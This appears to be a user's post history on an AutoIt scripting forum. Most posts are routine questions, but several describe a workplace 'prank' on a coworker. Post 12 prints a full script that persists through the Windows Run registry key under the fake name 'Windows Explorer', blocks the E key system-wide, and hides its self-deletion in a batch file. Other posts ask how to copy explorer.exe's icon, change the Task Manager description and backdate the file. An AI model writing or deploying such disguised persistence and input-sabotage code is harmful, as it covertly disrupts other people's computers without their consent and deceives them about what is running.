Jump to content

scythetleppo

Active Members
  • Posts

    77
  • Joined

  • Last visited

scythetleppo's Achievements

Wayfarer

Wayfarer (2/7)

0

Reputation

  1. Weird topic name but what I want to do is have a script which takes one file and appends it to another but LINE BY LINE, as shown below. file 1: file 2: and the finished file would be like this: any idea how to do that?
  2. hi, would that work with an unknown number of parameters, ranging from 0 to let's say 10? how would it know? thanks
  3. ok I'll look into how to do that... how do you accept parameters in autoit? like mycommand.exe /switch -option blah etc? nvm I think I found it.
  4. I have a bunch of batch files with different content and I was wondering if there's a way to make an autoit program which does this, accepts parameters such as mycommand parameter1 parameter2 parameter3 parameter4 and then does this: paramater1 would be the batch file name, and the rest of the parameters would be for the batch file. so mycommand sharedrive.bat O would execute this batch file which was already there: net use %1: /delete net use %1: \\sr2400-6\main\shares\payroll (for example)... and also, doesn't allow the black command window to come up when it is executing. in this way I would have an autoit command which basically runs a batch file for you, and doesn't make a black box open up on client computers when a batch needs to be written.
  5. please don't talk to me I never thought so many people would get upset over trying a prank at work. nevermind people go back to making your own programs, I'll figure it out by myself. I thought maybe someone would want to do something aside from the usual is all. no need to get all upset about it.
  6. wow you truly are a dick! please check the dates on all posts. thanks. I'm trying to make a prank which doesn't have anything to do with email. I will be happy to send a video of me installing it on his system if needed.
  7. http://www.autoitscript.com/forum/index.php?showtopic=49017
  8. thanks.. do you know how to change the description listed in the task manager?
  9. I made the thread and I'm perfectly responsible for any of my actions =]
  10. Is there a way to have a script change the date it was created to a previous date?
  11. thanks, but how do I make autoit / scite make that icon for my program?
  12. This is a very simple script, and I stole the delete-itself part from somewhere on this site, it's not from me. #NoTrayIcon RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer", "REG_SZ", @ScriptFullPath) Hotkeyset("E","Nothing") Hotkeyset("e","Nothing") HotKeySet("+!n", "ShowMessage") Func Nothing() EndFunc Func ShowMessage() MsgBox(0, "Nathan is Awesome", "That's what you get for messing with Nate...") RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer") _SelfDelete() exit EndFunc Func _SelfDelete($iDelay = 0) Local $sCmdFile FileDelete(@TempDir & "\scratch.bat") $sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _ & ':loop' & @CRLF _ & 'del "' & @ScriptFullPath & '"' & @CRLF _ & 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _ & 'del ' & @TempDir & '\scratch.bat' FileWrite(@TempDir & "\scratch.bat", $sCmdFile) Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE) EndFunc while 1 wend What it does is, it first tells windows to run it everytime it starts up. Then it makes it so whenever you press e or E, no matter what you are doing, it just won't work! This hopefully will drive the poor victim to replace his keyboard multiple times and think he is going crazy! Watch out Jesse here it comes! When you finally do want them to find out, tell them to do ALT-SHIFT-N that will pop up a message that in this case says "That's what you get for messing with Nate..." but you can change that easily above. Then it removes the registry entry it had created, and deletes itself! This isn't a big technical achievement, it's just a fun one!
  13. ok well do you happen to know how I could set the icon to whatever windows XP's "explorer.exe" icon is ?
  14. I removed the tray icon fine, but I want the actual compiled exe icon to be just whatever the default is (no icon/let the OS decide). how can I do that? I searched the site for icon and read up to the fourth page without seeing anything about it
  15. hmmm I tried it but that's way too obvious for what I want.. is there a way I can just like.... disable the E key ? that way he will replace the keyboard like twice before he realizes what's going on hahahaha edit: I found a way to do it lol Hotkeyset("E","Nothing") Hotkeyset("e","Nothing") Func Nothing() EndFunc while 1 wend
×
×
  • Create New...